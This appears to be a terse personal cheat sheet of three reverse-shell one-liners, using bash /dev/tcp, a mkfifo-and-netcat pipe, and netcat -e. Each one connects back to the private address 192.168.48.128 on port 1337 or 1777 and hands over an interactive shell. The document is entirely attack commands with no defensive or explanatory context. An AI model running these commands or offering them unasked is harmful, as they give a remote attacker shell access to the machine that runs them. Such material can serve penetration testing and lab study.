bash:

bash -i >& /dev/tcp/192.168.48.128/1337 0>&1

rm:

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.48.128 1777 >/tmp/f

nc:

nc -e /bin/bash 192.168.48.128 1337

individual files cuz why not